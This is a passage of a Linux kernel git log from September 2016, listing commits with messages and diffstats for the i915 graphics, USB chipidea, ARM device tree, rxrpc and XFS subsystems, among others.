8086:2a42, so of no use. Instead we'll go with a DMI match. I suspect we can now also revert commit aeddda06c1a7 ("drm/i915: Ignore panel type from OpRegion on SKL") but let's leave that to a separate patch. v2: Do the DMI match in the opregion code directly, as dev_priv->quirks gets populated too late Cc: Rob Kramer Cc: Martin van Es Cc: Andrea Arcangeli Cc: Dave Airlie Cc: Marco Krüger Cc: Sean Greenslade Cc: Trudy Tective Cc: Robin Müller Cc: Alexander Kobel Cc: Alexey Shumitsky Cc: Emil Andersen Lauridsen Cc: oceans112@gmail.com Cc: James Hogan Cc: James Bottomley Cc: stable@vger.kernel.org References: https://lists.freedesktop.org/archives/intel-gfx/2016-August/105545.html References: https://lists.freedesktop.org/archives/dri-devel/2016-August/116888.html References: https://lists.freedesktop.org/archives/intel-gfx/2016-June/098826.html Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=94825 Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=97060 Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=97443 Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=97363 Fixes: a05628195a0d ("drm/i915: Get panel_type from OpRegion panel details") Tested-by: Marco Krüger Tested-by: Alexey Shumitsky Tested-by: Sean Greenslade Tested-by: Emil Andersen Lauridsen Tested-by: Robin Müller Tested-by: oceans112@gmail.com Tested-by: Rob Kramer Signed-off-by: Ville Syrjälä Link: http://patchwork.freedesktop.org/patch/msgid/1473758539-21565-1-git-send-email-ville.syrjala@linux.intel.com References: http://patchwork.freedesktop.org/patch/msgid/1473602239-15855-1-git-send-email-adrienverge@gmail.com Acked-by: Jani Nikula drivers/gpu/drm/i915/intel_opregion.c | 27 +++++++++++++++++++++++++++ 1 file changed, 27 insertions(+) commit 77fd4136e58c642482f03d293d5717658a569b4b Author: Simon Horman Date: Mon Sep 12 09:36:35 2016 +0200 pinctrl: sh-pfc: r8a7794: Implement voltage switching for SDHI All the SHDIs can operate with either 3.3V or 1.8V signals, depending on negotiation with the card. Based on work by Wolfram Sang for the r8a7790. Signed-off-by: Simon Horman Acked-by: Wolfram Sang Acked-by: Linus Walleij Signed-off-by: Geert Uytterhoeven drivers/pinctrl/sh-pfc/pfc-r8a7794.c | 28 +++++++++++++++++++++++++++- 1 file changed, 27 insertions(+), 1 deletion(-) commit 0e1396f101da63c1ea3a1868d6e549f3ca20dd5b Author: Simon Horman Date: Mon Sep 12 09:36:34 2016 +0200 pinctrl: sh-pfc: r8a7791: Implement voltage switching for SDHI All the SHDIs can operate with either 3.3V or 1.8V signals, depending on negotiation with the card. Based on work by Wolfram Sang for the r8a7790. Signed-off-by: Simon Horman Acked-by: Wolfram Sang Acked-by: Linus Walleij Signed-off-by: Geert Uytterhoeven drivers/pinctrl/sh-pfc/pfc-r8a7791.c | 29 ++++++++++++++++++++++++++++- 1 file changed, 28 insertions(+), 1 deletion(-) commit 9a6caa13f85e8ed7f2079acd8fe01a8d11ab3413 Author: Simon Horman Date: Mon Sep 12 09:36:33 2016 +0200 pinctrl: sh-pfc: Add PORT_GP_24 helper macro This follows the style of existing PORT_GP_X macros and will be used by a follow-up patch for the r8a7791 SoC. Signed-off-by: Simon Horman Acked-by: Linus Walleij Signed-off-by: Geert Uytterhoeven drivers/pinctrl/sh-pfc/sh_pfc.h | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) commit b78ea84a7d45b9e5ad2eee429a2140065a39d755 Author: Andreas Kemnade Date: Thu Aug 25 00:27:59 2016 +0200 phy-twl4030-usb: initialize charging-related stuff via pm_runtime twl4030_phy_power_on() initializes some bits which are required for charging. As they are not set in twl4030_usb_runtime_resume() a call to pm_runtime_get_sync() is not sufficient to enable charging. This patch moves the initialization to twl4030_usb_runtime_resume() so everything needed for charging is initialized upon pm_runtime_get_sync(). That also gives improved possibilities to debug problems in that area because the relevant parts can be checked separately. Charging can be enabled without having the musb subsystem active. As a side effect this hides some bugs in musb which causes unbalanced calls to phy_power_off()/phy_power_on() so that phy->power_count becomes -1. The result is that e.g. the GTA04 phone (dm3730 + twl4030) works finally as a usb gadget again and charging is working. Signed-off-by: Andreas Kemnade Acked-by: Tony Lindgren Signed-off-by: Kishon Vijay Abraham I drivers/phy/phy-twl4030-usb.c | 16 +++++++++++----- 1 file changed, 11 insertions(+), 5 deletions(-) commit 78489c7c48d462c2a4fa9f388dd091f829573b64 Author: Andreas Kemnade Date: Mon Aug 22 21:24:22 2016 +0200 phy-twl4030-usb: better handle musb_mailbox() failure setting twl->linkstat = MUSB_UNKNOWN upon error in musb_mailbox as introduced in commit 12b7db2bf8b8 ("usb: musb: Return error value from musb_mailbox") causes twl4030_usb_irq() to not detect a state change form cable connected to cable disconnected after such an error so that pm_runtime_put_autosuspend() will not be called and the usage counter gets unbalanced. Such errors happen e.g. if the omap2430 module is not (yet) loaded during plug/unplug events. This patch introduces a flag instead that indicates whether there is information for the musb_mailbox pending and calls musb_mailbox() if that flag is set. Signed-off-by: Andreas Kemnade Tested-by: Tony Lindgren Signed-off-by: Kishon Vijay Abraham I drivers/phy/phy-twl4030-usb.c | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) commit e74e83724808b72173b557bd8008202109fb6091 Author: Fabio Estevam Date: Thu Sep 8 09:34:32 2016 -0300 usb: chipidea: udc: Use the preferred form for passing a size of a struct According to Documentation/CodingStyle: "The preferred form for passing a size of a struct is the following: p = kmalloc(sizeof(*p), ...); " , so do as suggested to improve readability. Signed-off-by: Fabio Estevam Signed-off-by: Peter Chen drivers/usb/chipidea/udc.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 58001effe172f300d558dffbd723c8521b9404f2 Author: Fabio Estevam Date: Thu Sep 8 09:34:31 2016 -0300 usb: chipidea: udc: Fit into a single line No need to split the dma_pool_zalloc() line into two as it can perfectly fit into a single line. Signed-off-by: Fabio Estevam Signed-off-by: Peter Chen drivers/usb/chipidea/udc.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit 382c1b38d8e70b2fe239c96bb9137c10f3229ba3 Author: Fabio Estevam Date: Thu Sep 8 09:34:30 2016 -0300 usb: chipidea: udc: Use dma_pool_zalloc() We can make the code simpler by using dma_pool_zalloc() instead of calling dma_pool_alloc() and then a memset(). Signed-off-by: Fabio Estevam Signed-off-by: Peter Chen drivers/usb/chipidea/udc.c | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) commit c744a0db756b34c7e2b60100bcfc58beb6b68c99 Author: Lucas Stach Date: Mon Aug 15 16:09:07 2016 +0200 usb: chipidea: host: disable io watchdog The Chipidea EHCI core seems to behave sanely and doesn't need the IO watchdog. This kills off 10 non-deferrable wakeup events per second when the controller is otherwise idle. Signed-off-by: Lucas Stach Tested-by: Stefan Agner Signed-off-by: Peter Chen drivers/usb/chipidea/host.c | 3 +++ 1 file changed, 3 insertions(+) commit c6ee9f2345a2d95a986309a6486ae780f563230a Author: Stefan Wahren Date: Thu Aug 11 17:19:13 2016 +0000 usb: chipidea: udc: Use direction flags consequently This driver make assumptions about the value of the direction flags. So better use them in comparisons to improve the readability. Signed-off-by: Stefan Wahren Signed-off-by: Peter Chen drivers/usb/chipidea/udc.c | 22 +++++++++++----------- 1 file changed, 11 insertions(+), 11 deletions(-) commit 9dba516ed282e3d16481051be547b54caa312029 Author: Li Jun Date: Wed Jul 20 16:02:42 2016 +0800 usb: chipidea: imx: set over current polarity per dts setting imx usb over current polarity is low active by default, with over-current-active-high property added, user can config it to be high active. Meanwhile keep this setting unchanged for existing platforms so new platform must set the right value for active low by its usbmisc init function if over current is enabled. Signed-off-by: Li Jun Signed-off-by: Peter Chen drivers/usb/chipidea/ci_hdrc_imx.c | 3 +++ drivers/usb/chipidea/ci_hdrc_imx.h | 1 + drivers/usb/chipidea/usbmisc_imx.c | 22 +++++++++++++++++----- 3 files changed, 21 insertions(+), 5 deletions(-) commit e5b3253dcc8c6a2cb2b13916e77afe9fdfe55d27 Author: Li Jun Date: Wed Jul 20 16:02:41 2016 +0800 doc: usb: ci-hdrc-usb2: add property over-current-active-high Adding over-current-active-high to indicate the over current flag is high active as typically we use active low for over current polarity. Signed-off-by: Li Jun Signed-off-by: Peter Chen Acked-by: Rob Herring Documentation/devicetree/bindings/usb/ci-hdrc-usb2.txt | 2 ++ 1 file changed, 2 insertions(+) commit 5de97f8bd74dd87d8856f17b585a7c221b535969 Author: Li Jun Date: Wed Jul 20 16:02:40 2016 +0800 doc: usb: usbmisc-imx: add imx7d compatible string Add compatible string for imx7d-usbmisc. Acked-by: Rob Herring Signed-off-by: Li Jun Signed-off-by: Peter Chen Documentation/devicetree/bindings/usb/usbmisc-imx.txt | 1 + 1 file changed, 1 insertion(+) commit 8007eb4e1824e52483ad99fb229fc56e6a73cec6 Author: Stefan Wahren Date: Sat Jul 9 14:16:39 2016 +0000 usb: chipidea: udc: Don't flush endpoint fifo twice The endpoint fifo is already flushed in _ep_nuke so there is no need to flush it twice. Signed-off-by: Stefan Wahren Signed-off-by: Peter Chen drivers/usb/chipidea/udc.c | 1 - 1 file changed, 1 deletion(-) commit 66b76dbe37df88b250ffdac186adba3e5dc24631 Author: Stefan Wahren Date: Sat Jul 9 14:16:38 2016 +0000 usb: chipidea: udc: move write barrier into hw_ep_prime Since there should be a write barrier before every call of hw_ep_prime we could move it into hw_ep_prime. Signed-off-by: Stefan Wahren Signed-off-by: Peter Chen drivers/usb/chipidea/udc.c | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) commit 09c448d3c61f31322c097cb4c1484778d50da399 Author: Rafael J. Wysocki Date: Wed Sep 14 02:28:13 2016 +0200 cpufreq: intel_pstate: Use IOWAIT flag in Atom algorithm Modify the P-state selection algorithm for Atom processors to use the new SCHED_CPUFREQ_IOWAIT flag instead of the questionable get_cpu_iowait_time_us() function. Signed-off-by: Rafael J. Wysocki drivers/cpufreq/intel_pstate.c | 58 ++++++++++++++++++++++-------------------- 1 file changed, 31 insertions(+), 27 deletions(-) commit 98cc4544d65c8d879a39cfc38703e9f4d078a3e9 Author: Tony Lindgren Date: Tue Sep 13 16:10:56 2016 -0700 ARM: dts: Add support for more than 2GB of memory for omap5 Some omap5 variants have more than 2GB of memory available as optional models. Let's update the dts files to use two address cells similar to what dra7 is using with commit dae320ec3173 ("ARM: dts: DRA7: change address-cells and size-cells"). Acked-by: Lokesh Vutla Signed-off-by: Tony Lindgren arch/arm/boot/dts/omap5-cm-t54.dts | 2 +- arch/arm/boot/dts/omap5-igep0050.dts | 2 +- arch/arm/boot/dts/omap5-uevm.dts | 2 +- arch/arm/boot/dts/omap5.dtsi | 22 +++++++++++----------- 4 files changed, 14 insertions(+), 14 deletions(-) commit 0af28cc92690d8c231ddf003452282e885993c08 Author: Nishanth Menon Date: Fri Sep 2 12:14:45 2016 -0500 ARM: dts: am57xx-beagle-x15: Add support for rev B1 Latest update to the BeagleBoard-X15 platform (revision B1)[1] updates for allowing UHS SD cards to function with the split of supply to SD card from a dedicated LDO. As a result of this, AM57xx BeagleBoard-X15 now uses gpio2_30 instead of gpio6_28 for HDMI because HDMI_LS_OE should now be switched from GPIO6_28(Y9) to GPIO2_30 (AG8) to avoid a 1.8V GPIO toggling a 3.3V SoC input when the SD card is in UHS 1.8V mode. NOTE: For UHS mode to function, we need full fledged IODelay support in kernel to be functional. IODelay support is yet to be added. Further, It does not make much sense to spin off a new board compatible flag since there is no real functional benefit for the same. Note: Even though production version is supposed to be B1, there is over ~200 boards of previous version (A2)[2] out there which continue to get supported with the existing dts file (to maintain compatibility with existing bootloaders for A2) and the production board is now supported as revb1. [1] https://github.com/beagleboard/beagleboard-x15/blob/master/BEAGLEBOARD_X15_REV_B1.pdf [2] http://marc.info/?l=linux-arm-kernel&m=147273929820708&w=2 Tested-by: Tomi Valkeinen Signed-off-by: Nishanth Menon Signed-off-by: Tony Lindgren arch/arm/boot/dts/Makefile | 1 + arch/arm/boot/dts/am57xx-beagle-x15-common.dtsi | 596 ++++++++++++++++++++++++ arch/arm/boot/dts/am57xx-beagle-x15-revb1.dts | 24 + arch/arm/boot/dts/am57xx-beagle-x15.dts | 592 +---------------------- 4 files changed, 628 insertions(+), 585 deletions(-) commit d20f997b4d1f3fc41703c95e4f4bb4ebca90da42 Author: Nishanth Menon Date: Fri Sep 2 12:14:44 2016 -0500 ARM: dts: am57xx-beagle-x15: Remove pinmux configurations for erratum i869 Pinmuxing for DRA7x/AM57x family of processors need to be done in IO isolation as part of initial bootloader executed from SRAM. This is done as part of iodelay configuration sequence and is required due to the limitations introduced by erratum ID: i869[1] (IO Glitches can occur when changing IO settings) and elaborated in the Technical Reference Manual[2] 18.4.6.1.7 Isolation Requirements. Only peripheral that is permitted for dynamic pin mux configuration is MMC and DCAN. MMC is permitted to change to accommodate the requirements for varied speeds (which require IO-delay support in kernel as well). DCAN is a result of i893[1] (DCAN initialization sequence). However, since we don't use DCAN on X15, with the exception of MMC, all other pin mux configurations are removed from the dts. [1] http://www.ti.com/lit/pdf/sprz429 [2] http://www.ti.com/lit/pdf/sprui30 Signed-off-by: Nishanth Menon Signed-off-by: Tony Lindgren arch/arm/boot/dts/am57xx-beagle-x15.dts | 222 +------------------------------- 1 file changed, 1 insertion(+), 221 deletions(-) commit e7ee0bc6ae1eb6b3db3c81956e7123ef9a28cd35 Author: Tony Lindgren Date: Sun Sep 11 13:50:57 2016 -0700 ARM: dts: Fix LEDs for igepv5 The LEDs on igepv5 are on the GPIO expander unlike on omap5-uevm. Configuration copied from git.isee.biz git tree except fixed for red and blue mapping. Signed-off-by: Tony Lindgren arch/arm/boot/dts/omap5-board-common.dtsi | 10 ---------- arch/arm/boot/dts/omap5-igep0050.dts | 19 +++++++++++++++++++ arch/arm/boot/dts/omap5-uevm.dts | 10 ++++++++++ 3 files changed, 29 insertions(+), 10 deletions(-) commit b118c6a6ffa146c1598a53748efca8d299e495dc Author: Tony Lindgren Date: Fri Sep 9 14:07:29 2016 -0700 ARM: dts: Add power button support for igepv5 Add power button support for igepv5. Cc: Agustí Fontquerni i Gorchs Cc: Enric Balletbo Serra Cc: Javier Martinez Canillas Cc: Pau Pajuel Signed-off-by: Tony Lindgren arch/arm/boot/dts/omap5-igep0050.dts | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) commit 2e06285655b59362847b610a7cfad204fee9640b Author: Baoyou Xie Date: Thu Sep 1 19:15:35 2016 +0800 vfio: platform: mark symbols static where possible We get a few warnings when building kernel with W=1: drivers/vfio/platform/vfio_platform_common.c:76:5: warning: no previous prototype for 'vfio_platform_acpi_call_reset' [-Wmissing-prototypes] drivers/vfio/platform/vfio_platform_common.c:98:6: warning: no previous prototype for 'vfio_platform_acpi_has_reset' [-Wmissing-prototypes] drivers/vfio/platform/vfio_platform_common.c:640:5: warning: no previous prototype for 'vfio_platform_of_probe' [-Wmissing-prototypes] drivers/vfio/platform/reset/vfio_platform_amdxgbe.c:59:5: warning: no previous prototype for 'vfio_platform_amdxgbe_reset' [-Wmissing-prototypes] drivers/vfio/platform/reset/vfio_platform_calxedaxgmac.c:60:5: warning: no previous prototype for 'vfio_platform_calxedaxgmac_reset' [-Wmissing-prototypes] .... In fact, these functions are only used in the file in which they are declared and don't need a declaration, but can be made static. so this patch marks these functions with 'static'. Signed-off-by: Baoyou Xie Acked-by: Arnd Bergmann Reviewed-by: Eric Auger Reviewed-by: Baptiste Reynal Signed-off-by: Alex Williamson drivers/vfio/platform/reset/vfio_platform_amdxgbe.c | 2 +- drivers/vfio/platform/reset/vfio_platform_calxedaxgmac.c | 2 +- drivers/vfio/platform/vfio_platform_common.c | 6 +++--- 3 files changed, 5 insertions(+), 5 deletions(-) commit 75b54cb57ca34cbe7a87c6ac757c55360a624590 Author: David Howells Date: Tue Sep 13 08:49:05 2016 +0100 rxrpc: Add IPv6 support Add IPv6 support to AF_RXRPC. With this, AF_RXRPC sockets can be created: service = socket(AF_RXRPC, SOCK_DGRAM, PF_INET6); instead of: service = socket(AF_RXRPC, SOCK_DGRAM, PF_INET); The AFS filesystem doesn't support IPv6 at the moment, though, since that requires upgrades to some of the RPC calls. Note that a good portion of this patch is replacing "%pI4:%u" in print statements with "%pISpc" which is able to handle both protocols and print the port. Signed-off-by: David Howells net/rxrpc/af_rxrpc.c | 15 +++++-- net/rxrpc/conn_object.c | 8 ++++ net/rxrpc/local_object.c | 35 +++++++-------- net/rxrpc/output.c | 16 +++++++ net/rxrpc/peer_event.c | 24 +++++++++++ net/rxrpc/peer_object.c | 109 +++++++++++++++++++++++++++++------------------ net/rxrpc/proc.c | 30 ++++++------- 7 files changed, 154 insertions(+), 83 deletions(-) commit 1c2bc7b948a2adee0d3e070f4ce14645efa0a2d2 Author: David Howells Date: Tue Sep 13 08:49:05 2016 +0100 rxrpc: Use rxrpc_extract_addr_from_skb() rather than doing this manually There are two places that want to transmit a packet in response to one just received and manually pick the address to reply to out of the sk_buff. Make them use rxrpc_extract_addr_from_skb() instead so that IPv6 is handled automatically. Signed-off-by: David Howells net/rxrpc/local_event.c | 13 +++++-------- net/rxrpc/output.c | 32 ++++++-------------------------- 2 files changed, 11 insertions(+), 34 deletions(-) commit aaa31cbc66733386406464ec6c5c0889d9968a95 Author: David Howells Date: Tue Sep 13 08:49:05 2016 +0100 rxrpc: Don't specify protocol to when creating transport socket Pass 0 as the protocol argument when creating the transport socket rather than IPPROTO_UDP. Signed-off-by: David Howells net/rxrpc/local_object.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit cd5892c756f51ed6ff18ff49c837d219bfd9bb5d Author: David Howells Date: Tue Sep 13 08:49:05 2016 +0100 rxrpc: Create an address for sendmsg() to bind unbound socket with Create an address for sendmsg() to bind unbound socket with rather than using a completely blank address otherwise the transport socket creation will fail because it will try to use address family 0. We use the address family specified in the protocol argument when the AF_RXRPC socket was created and SOCK_DGRAM as the default. For anything else, bind() must be used. Signed-off-by: David Howells net/rxrpc/af_rxrpc.c | 12 ++++++++++++ 1 file changed, 12 insertions(+) commit 952a5db0c0f8ddf9776c84e818769f5c6e97ec38 Author: Tony Lindgren Date: Fri Sep 9 14:04:28 2016 -0700 ARM: dts: Configure omap5 OTG ID pin The ID pin GPIO comes from the PMIC. Let's configure it as a GPIO for the driver to use, and also make sure the PMIC GPIO pin muxing is correct. The PMIC pad1 and 2 values for omap5-uevm and igepv5 are 0x5a and 0x1b, we only need to clear bit 2 in pad1 register to make the ID pin GPIO work. Signed-off-by: Tony Lindgren arch/arm/boot/dts/omap5-board-common.dtsi | 9 +++++++++ arch/arm/boot/dts/omap5.dtsi | 2 +- 2 files changed, 10 insertions(+), 1 deletion(-) commit 08f9268b2a2e16ad89187a49ac06bfc7e1dc36a6 Author: Tony Lindgren Date: Sun Sep 11 21:01:02 2016 -0700 ARM: dts: ARM: dts: Fix omap5 SDIO dat1 interrupt Few changes to fix issues I've noticed while debugging omap5-uevm wl18xx issues: 1. Move wlcore irq pin muxing under wlcore. This irq could be different from gpio_wk14 on some board variants 2. Don't configure pull on wlcore irq pin. There is a 10k pull up resistor R105 on the device to VDDS_1v8_MAIN 3. The padconf register for wlsdio_data1 is wrong, it's really at 0x1a8 + 2 - 0x40 = 0x16a offset, not at 0x168 as that's for wlsdio_data0 4. Mark the omap5-uevm wlan as compatible with ti,wl1837 as that's what the TDK R078 part seems to be 5. The MMC interrupt for WLAN musb be wakeupgen, not gic Looks like omap5-uevm WLAN behaves better now, but I still seem to have issues with some access points. Signed-off-by: Tony Lindgren arch/arm/boot/dts/omap5-board-common.dtsi | 10 ++++++---- arch/arm/boot/dts/omap5-uevm.dts | 4 ++++ 2 files changed, 10 insertions(+), 4 deletions(-) commit 84ae49747fe2e2fe47f722f3f6656b2545a6d1ae Author: Tony Lindgren Date: Fri Sep 9 14:00:37 2016 -0700 ARM: dts: Configure panda SDIO WLAN wakeirq Otherwise we have delays on noticing interrupts from the WLAN card when idle. Signed-off-by: Tony Lindgren arch/arm/boot/dts/omap4-panda-common.dtsi | 2 ++ 1 file changed, 2 insertions(+) commit 77169812739dd800bc3620d781a77c50c75165cc Author: Eric Sandeen Date: Wed Sep 14 07:51:30 2016 +1000 xfs: normalize "infinite" retries in error configs As it stands today, the "fail immediately" vs. "retry forever" values for max_retries and retry_timeout_seconds in the xfs metadata error configurations are not consistent. A retry_timeout_seconds of 0 means "retry forever," but a max_retries of 0 means "fail immediately." retry_timeout_seconds < 0 is disallowed, while max_retries == -1 means "retry forever." Make this consistent across the error configs, such that a value of 0 means "fail immediately" (i.e. wait 0 seconds, or retry 0 times), and a value of -1 always means "retry forever." This makes retry_timeout a signed long to accommodate the -1, even though it stores jiffies. Given our limit of a 1 day maximum timeout, this should be sufficient even at much higher HZ values than we have available today. Signed-off-by: Eric Sandeen Reviewed-by: Dave Chinner Signed-off-by: Dave Chinner fs/xfs/xfs_buf_item.c | 5 +++-- fs/xfs/xfs_mount.h | 8 +++++++- fs/xfs/xfs_sysfs.c | 47 +++++++++++++++++++++++++++++++++++------------ 3 files changed, 45 insertions(+), 15 deletions(-) commit 79c350e45ebc5a718cc2d7114b45ad560069423d Author: Xie XiuQi Date: Wed Sep 14 07:41:16 2016 +1000 xfs: fix signed integer overflow Use 1U for unsigned int to avoid a overflow warning from UBSAN. [ 31.910858] UBSAN: Undefined behaviour in fs/xfs/xfs_buf_item.c:889:25 [ 31.911252] signed integer overflow: [ 31.911478] -2147483648 - 1 cannot be represented in type 'int' [ 31.911846] CPU: 1 PID: 1011 Comm: tuned Tainted: G B ---- ------- 3.10.0-327.28.3.el7.x86_64 #1 [ 31.911857] Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform, BIOS 6.00 01/07/2011 [ 31.911866] 1ffff1004069cd3b 0000000076bec3fd ffff8802034e69a0 ffffffff81ee3140 [ 31.911883] ffff8802034e69b8 ffffffff81ee31fd ffffffffa0ad79e0 ffff8802034e6b20 [ 31.911898] ffffffff81ee46e2 0000002d515470c0 0000000000000001 0000000041b58ab3 [ 31.911913] Call Trace: [ 31.911932] [] dump_stack+0x1e/0x20 [ 31.911947] [] ubsan_epilogue+0x12/0x55 [ 31.911964] [] handle_overflow+0x1ba/0x215 [ 31.912083] [] __ubsan_handle_sub_overflow+0x2a/0x31 [ 31.912204] [] xfs_buf_item_log+0x34b/0x3f0 [xfs] [ 31.912314] [] xfs_trans_log_buf+0x120/0x260 [xfs] [ 31.912402] [] xfs_btree_log_recs+0x80/0xc0 [xfs] [ 31.912490] [] xfs_btree_delrec+0x11a8/0x2d50 [xfs] [ 31.913589] [] xfs_btree_delete+0xc9/0x260 [xfs] [ 31.913762] [] xfs_free_ag_extent+0x63f/0xe20 [xfs] [ 31.914339] [] xfs_free_extent+0x2af/0x3e0 [xfs] [ 31.914641] [] xfs_bmap_finish+0x32b/0x4b0 [xfs] [ 31.914841] [] xfs_itruncate_extents+0x3b7/0x740 [xfs] [ 31.915216] [] xfs_setattr_size+0x60a/0x860 [xfs] [ 31.915471] [] xfs_vn_setattr+0x9a/0xe0 [xfs] [ 31.915590] [] notify_change+0x5c8/0x8a0 [ 31.915607] [] do_truncate+0x122/0x1d0 [ 31.915640] [] do_last+0x15de/0x2c80 [ 31.915707] [] path_openat+0x1e7/0xcc0 [ 31.915802] [] do_filp_open+0xa4/0x160 [ 31.915848] [] do_sys_open+0x1b7/0x3f0 [ 31.915879] [] SyS_open+0x32/0x40 [ 31.915897] [] system_call_fastpath+0x16/0x1b [ 240.086809] UBSAN: Undefined behaviour in fs/xfs/xfs_buf_item.c:866:34 [ 240.086820] signed integer overflow: [ 240.086830] -2147483648 - 1 cannot be represented in type 'int' [ 240.086846] CPU: 1 PID: 12969 Comm: rm Tainted: G B ---- ------- 3.10.0-327.28.3.el7.x86_64 #1 [ 240.086857] Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform, BIOS 6.00 01/07/2011 [ 240.086868] 1ffff10040491def 00000000e2ea59c1 ffff88020248ef40 ffffffff81ee3140 [ 240.086885] ffff88020248ef58 ffffffff81ee31fd ffffffffa0ad79e0 ffff88020248f0c0 [ 240.086901] ffffffff81ee46e2 0000002d02488000 0000000000000001 0000000041b58ab3 [ 240.086915] Call Trace: [ 240.086938] [] dump_stack+0x1e/0x20 [ 240.086953] [] ubsan_epilogue+0x12/0x55 [ 240.086971] [] handle_overflow+0x1ba/0x215 ... Signed-off-by: Xie XiuQi Reviewed-by: Dave Chinner Signed-off-by: Dave Chinner fs/xfs/xfs_buf_item.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 791cc43b36eb1f88166c8505900cad1b43c7fe1a Author: Artem Savkov Date: Wed Sep 14 07:40:35 2016 +1000 Make __xfs_xattr_put_listen preperly report errors. Commit 2a6fba6 "xfs: only return -errno or success from attr ->put_listent" changes the returnvalue of __xfs_xattr_put_listen to 0 in case when there is insufficient space in the buffer assuming that setting context->count to -1 would be enough, but all of the ->put_listent callers only check seen_enough. This results in a failed assertion: XFS: Assertion failed: context->count >= 0, file: fs/xfs/xfs_xattr.c, line: 175 in insufficient buffer size case. This is only reproducible with at least 2 xattrs and only when the buffer gets depleted before the last one. Furthermore if buffersize is such that it is enough to hold the last xattr's name, but not enough to hold the sum of preceeding xattr names listxattr won't fail with ERANGE, but will suceed returning last xattr's name without the first character. The first character end's up overwriting data stored at (context->alist - 1). Signed-off-by: Artem Savkov Reviewed-by: Dave Chinner Signed-off-by: Dave Chinner fs/xfs/xfs_xattr.c | 1 + 1 file changed, 1 insertion(+) commit 541d48f05fa1c19a4a968d38df685529e728a20a Author: Dave Chinner Date: Wed Sep 14 07:40:21 2016 +1000 xfs: change mailing list address oss.sgi.com is going away, move contact details over to vger. cc: Signed-off-by: Dave Chinner MAINTAINERS | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) commit a27f6ef4e636c2437090b87c4eb0f587b60d7123 Author: Eryu Guan Date: Wed Sep 14 07:39:07 2016 +1000 xfs: undo block reservation correctly in xfs_trans_reserve() "blocks" should be added back to fdblocks at undo time, not taken away, i.e. the minus sign should not be used. This is a regression introduced by commit 0d485ada404b ("xfs: use generic percpu counters for free block counter"). And it's found by code inspection, I didn't it in real world, so there's no reproducer. Signed-off-by: Eryu Guan Reviewed-by: Dave Chinner Signed-off-by: Dave Chinner fs/xfs/xfs_trans.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 75e42126399220069ada0ca0e93237993c6afccf Author: David Howells Date: Tue Sep 13 22:36:22 2016 +0100 rxrpc: Correctly initialise, limit and transmit call->rx_winsize call->rx_winsize should be initialised to the sysctl setting and the sysctl setting should be limited to the maximum we want to permit. Further, we need to place this in the ACK info instead of the sysctl setting. Furthermore, discard the idea of accepting the subpackets of a jumbo packet that lie beyond the receive window when the first packet of the jumbo is within the window. Just discard the excess subpackets instead. This allows the receive window to be opened up right to the buffer size less one for the dead slot. Signed-off-by: David Howells net/rxrpc/ar-internal.h | 3 ++- net/rxrpc/call_object.c | 2 +- net/rxrpc/input.c | 23 ++++++++++++++++------- net/rxrpc/misc.c | 5 ++++- net/rxrpc/output.c | 4 ++-- net/rxrpc/sysctl.c | 2 +- 6 files changed, 26 insertions(+), 13 deletions(-) commit 3432a757b1f889f8c0d33cd9fcabdae172ed812b Author: David Howells Date: Tue Sep 13 09:05:14 2016 +0100 rxrpc: Fix prealloc refcounting The preallocated call buffer holds a ref on the calls within that buffer. The ref was being released in the wrong place - it worked okay for incoming calls to the AFS cache manager service, but doesn't work right for incoming calls to a userspace service. Instead of releasing an extra ref service calls in rxrpc_release_call(), the ref needs to be released during the acceptance/rejectance process. To this end: (1) The prealloc ref is now normally released during rxrpc_new_incoming_call(). (2) For preallocated kernel API calls, the kernel API's ref needs to be released when the call is discarded on socket close. (3) We shouldn't take a second ref in rxrpc_accept_call(). (4) rxrpc_recvmsg_new_call() needs to get a ref of its own when it adds the call to the to_be_accepted socket queue. In doing (4) above, we would prefer not to put the call's refcount down to 0 as that entails doing cleanup in softirq context, but it's unlikely as there are several refs held elsewhere, at least one of which must be put by someone in process context calling rxrpc_release_call(). However, it's not a problem if we do have to do that. Signed-off-by: David Howells net/rxrpc/call_accept.c | 9 ++++++++- net/rxrpc/call_object.c | 3 --- net/rxrpc/recvmsg.c | 1 + 3 files changed, 9 insertions(+), 4 deletions(-) commit cbd00891de9bb4756bac6f6edfa945d5a6468977 Author: David Howells Date: Tue Sep 13 09:12:34 2016 +0100 rxrpc: Adjust the call ref tracepoint to show kernel API refs Adjust the call ref tracepoint to show references held on a call by the kernel API separately as much as possible and add an additional trace to at the allocation point from the preallocation buffer for an incoming call. Note that this doesn't show the allocation of a client call for the kernel separately at the moment. Signed-off-by: David Howells net/rxrpc/af_rxrpc.c | 2 +- net/rxrpc/ar-internal.h | 2 ++ net/rxrpc/call_accept.c | 3 ++- net/rxrpc/call_object.c | 2 ++ 4 files changed, 7 insertions(+), 2 deletions(-) commit 01fd0742248cfc99b3b0cba1e09e1c0ecb8658fa Author: David Howells Date: Tue Sep 13 10:23:01 2016 +0100 rxrpc: Allow tx_winsize to grow in response to an ACK Allow tx_winsize to grow when the ACK info packet shows a larger receive window at the other end rather than only permitting it to shrink. Signed-off-by: David Howells net/rxrpc/input.c | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) commit 89a80ed4c09afb2aff6abe32f6dd68605f857a7d Author: David Howells Date: Tue Sep 13 22:36:22 2016 +0100 rxrpc: Use skb->len not skb->data_len skb->len should be used rather than skb->data_len when referring to the amount of data in a packet. This will only cause a malfunction in the following cases: (1) We receive a jumbo packet (validation and splitting both are wrong). (2) We see if there's extra ACK info in an ACK packet (we think it's not there and just ignore it). Signed-off-by: David Howells net/rxrpc/input.c | 8 ++++---- 1 file 